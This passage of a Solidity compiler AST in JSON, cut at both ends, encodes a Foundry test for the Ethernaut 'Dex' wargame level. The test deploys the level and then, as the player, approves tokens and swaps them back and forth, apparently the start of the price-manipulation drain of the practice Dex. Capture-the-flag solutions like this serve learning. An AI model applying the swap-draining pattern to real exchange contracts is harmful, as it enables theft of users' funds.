Vm"}},"id":59807,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1089:10:125","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1086:13:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59809,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1086:21:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59810,"nodeType":"ExpressionStatement","src":"1086:21:125"},{"expression":{"id":59827,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59811,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"1117:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":59816,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59726,"src":"1160:9:125","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":59820,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59783,"src":"1185:7:125","typeDescriptions":{"typeIdentifier":"t_contract$_DexFactory_$51019","typeString":"contract DexFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexFactory_$51019","typeString":"contract DexFactory"}],"id":59819,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1177:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59818,"name":"address","nodeType":"ElementaryTypeName","src":"1177:7:125","typeDescriptions":{}}},"id":59821,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1177:16:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59817,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1171:5:125","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59822,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1171:23:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":59823,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1196:1:125","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":59815,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1140:19:125","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":59824,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1140:58:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59814,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1132:8:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":59813,"name":"address","nodeType":"ElementaryTypeName","src":"1132:8:125","stateMutability":"payable","typeDescriptions":{}}},"id":59825,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1132:67:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":59812,"name":"Dex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50797,"src":"1128:3:125","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Dex_$50797_$","typeString":"type(contract Dex)"}},"id":59826,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1128:72:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"src":"1117:83:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":59828,"nodeType":"ExpressionStatement","src":"1117:83:125"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59829,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1210:2:125","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59831,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1213:9:125","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1210:12:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59832,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1210:14:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59833,"nodeType":"ExpressionStatement","src":"1210:14:125"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"663:5:125","parameters":{"id":59734,"nodeType":"ParameterList","parameters":[],"src":"668:2:125"},"returnParameters":{"id":59735,"nodeType":"ParameterList","parameters":[],"src":"678:0:125"},"scope":60000,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59856,"nodeType":"FunctionDefinition","src":"1483:137:125","nodes":[],"body":{"id":59855,"nodeType":"Block","src":"1510:110:125","nodes":[],"statements":[{"expression":{"arguments":[{"id":59842,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59733,"src":"1534:6:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59839,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1520:2:125","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59841,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1523:10:125","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1520:13:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59843,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1520:21:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59844,"nodeType":"ExpressionStatement","src":"1520:21:125"},{"expression":{"arguments":[{"arguments":[{"id":59847,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59726,"src":"1583:9:125","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59850,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"1602:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":59849,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1594:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59848,"name":"address","nodeType":"ElementaryTypeName","src":"1594:7:125","typeDescriptions":{}}},"id":59851,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1594:17:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59846,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1563:19:125","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59852,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1563:49:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59845,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1551:11:125","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59853,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1551:62:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59854,"nodeType":"ExpressionStatement","src":"1551:62:125"}]},"documentation":{"id":59836,"nodeType":"StructuredDocumentation","src":"1415:63:125","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1492:8:125","parameters":{"id":59837,"nodeType":"ParameterList","parameters":[],"src":"1500:2:125"},"returnParameters":{"id":59838,"nodeType":"ParameterList","parameters":[],"src":"1510:0:125"},"scope":60000,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59999,"nodeType":"FunctionDefinition","src":"1675:737:125","nodes":[],"body":{"id":59998,"nodeType":"Block","src":"1703:709:125","nodes":[],"statements":[{"expression":{"arguments":[{"id":59863,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59733,"src":"1727:6:125","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59860,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1713:2:125","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59862,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1716:10:125","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1713:13:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59864,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1713:21:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59865,"nodeType":"ExpressionStatement","src":"1713:21:125"},{"assignments":[59868],"declarations":[{"constant":false,"id":59868,"mutability":"mutable","name":"token1","nameLocation":"1760:6:125","nodeType":"VariableDeclaration","scope":59998,"src":"1745:21:125","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"},"typeName":{"id":59867,"nodeType":"UserDefinedTypeName","pathNode":{"id":59866,"name":"SwappableToken","nameLocations":["1745:14:125"],"nodeType":"IdentifierPath","referencedDeclaration":50853,"src":"1745:14:125"},"referencedDeclaration":50853,"src":"1745:14:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"visibility":"internal"}],"id":59874,"initialValue":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59870,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"1784:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":59871,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1793:6:125","memberName":"token1","nodeType":"MemberAccess","referencedDeclaration":50579,"src":"1784:15:125","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":59872,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1784:17:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59869,"name":"SwappableToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50853,"src":"1769:14:125","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SwappableToken_$50853_$","typeString":"type(contract SwappableToken)"}},"id":59873,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1769:33:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"nodeType":"VariableDeclarationStatement","src":"1745:57:125"},{"assignments":[59877],"declarations":[{"constant":false,"id":59877,"mutability":"mutable","name":"token2","nameLocation":"1827:6:125","nodeType":"VariableDeclaration","scope":59998,"src":"1812:21:125","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"},"typeName":{"id":59876,"nodeType":"UserDefinedTypeName","pathNode":{"id":59875,"name":"SwappableToken","nameLocations":["1812:14:125"],"nodeType":"IdentifierPath","referencedDeclaration":50853,"src":"1812:14:125"},"referencedDeclaration":50853,"src":"1812:14:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"visibility":"internal"}],"id":59883,"initialValue":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59879,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"1851:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":59880,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1860:6:125","memberName":"token2","nodeType":"MemberAccess","referencedDeclaration":50581,"src":"1851:15:125","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":59881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1851:17:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59878,"name":"SwappableToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50853,"src":"1836:14:125","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SwappableToken_$50853_$","typeString":"type(contract SwappableToken)"}},"id":59882,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1836:33:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"nodeType":"VariableDeclarationStatement","src":"1812:57:125"},{"expression":{"arguments":[{"arguments":[{"id":59889,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"1903:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":59888,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1895:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59887,"name":"address","nodeType":"ElementaryTypeName","src":"1895:7:125","typeDescriptions":{}}},"id":59890,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1895:17:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"323030","id":59891,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1914:3:125","typeDescriptions":{"typeIdentifier":"t_rational_200_by_1","typeString":"int_const 200"},"value":"200"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_200_by_1","typeString":"int_const 200"}],"expression":{"id":59884,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59868,"src":"1880:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"id":59886,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1887:7:125","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":47442,"src":"1880:14:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":59892,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1880:38:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":59893,"nodeType":"ExpressionStatement","src":"1880:38:125"},{"expression":{"arguments":[{"arguments":[{"id":59899,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"1951:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":59898,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1943:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59897,"name":"address","nodeType":"ElementaryTypeName","src":"1943:7:125","typeDescriptions":{}}},"id":59900,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1943:17:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"323030","id":59901,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1962:3:125","typeDescriptions":{"typeIdentifier":"t_rational_200_by_1","typeString":"int_const 200"},"value":"200"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_200_by_1","typeString":"int_const 200"}],"expression":{"id":59894,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59877,"src":"1928:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"id":59896,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1935:7:125","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":47442,"src":"1928:14:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":59902,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1928:38:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":59903,"nodeType":"ExpressionStatement","src":"1928:38:125"},{"expression":{"arguments":[{"arguments":[{"id":59909,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59868,"src":"1998:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":59908,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1990:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59907,"name":"address","nodeType":"ElementaryTypeName","src":"1990:7:125","typeDescriptions":{}}},"id":59910,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1990:15:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":59913,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59877,"src":"2015:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":59912,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2007:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59911,"name":"address","nodeType":"ElementaryTypeName","src":"2007:7:125","typeDescriptions":{}}},"id":59914,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2007:15:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3130","id":59915,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2024:2:125","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"}],"expression":{"id":59904,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"1976:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":59906,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1985:4:125","memberName":"swap","nodeType":"MemberAccess","referencedDeclaration":50715,"src":"1976:13:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":59916,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1976:51:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59917,"nodeType":"ExpressionStatement","src":"1976:51:125"},{"expression":{"arguments":[{"arguments":[{"id":59923,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59877,"src":"2060:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":59922,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2052:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59921,"name":"address","nodeType":"ElementaryTypeName","src":"2052:7:125","typeDescriptions":{}}},"id":59924,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2052:15:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":59927,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59868,"src":"2077:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":59926,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2069:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59925,"name":"address","nodeType":"ElementaryTypeName","src":"2069:7:125","typeDescriptions":{}}},"id":59928,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2069:15:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3230","id":59929,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2086:2:125","typeDescriptions":{"typeIdentifier":"t_rational_20_by_1","typeString":"int_const 20"},"value":"20"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_20_by_1","typeString":"int_const 20"}],"expression":{"id":59918,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59729,"src":"2038:8:125","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":59920,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2047:4:125","memberName":"swap","nodeType":"MemberAccess","referencedDeclaration":50715,"src":"2038:13:125","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":59930,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2038:51:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59931,"nodeType":"ExpressionStatement","src":"2038:51:125"},{"expression":{"arguments":[{"arguments":[{"id":59937,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59868,"src":"2121:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":59936,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2113:7:125","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59935,"name":"address","nodeType":"ElementaryTypeName","src":"2113:7:125","typeDescriptions":{}}},"id":59938,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2113:15:125","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":59941,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59877,"src":"2138:6:125","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract 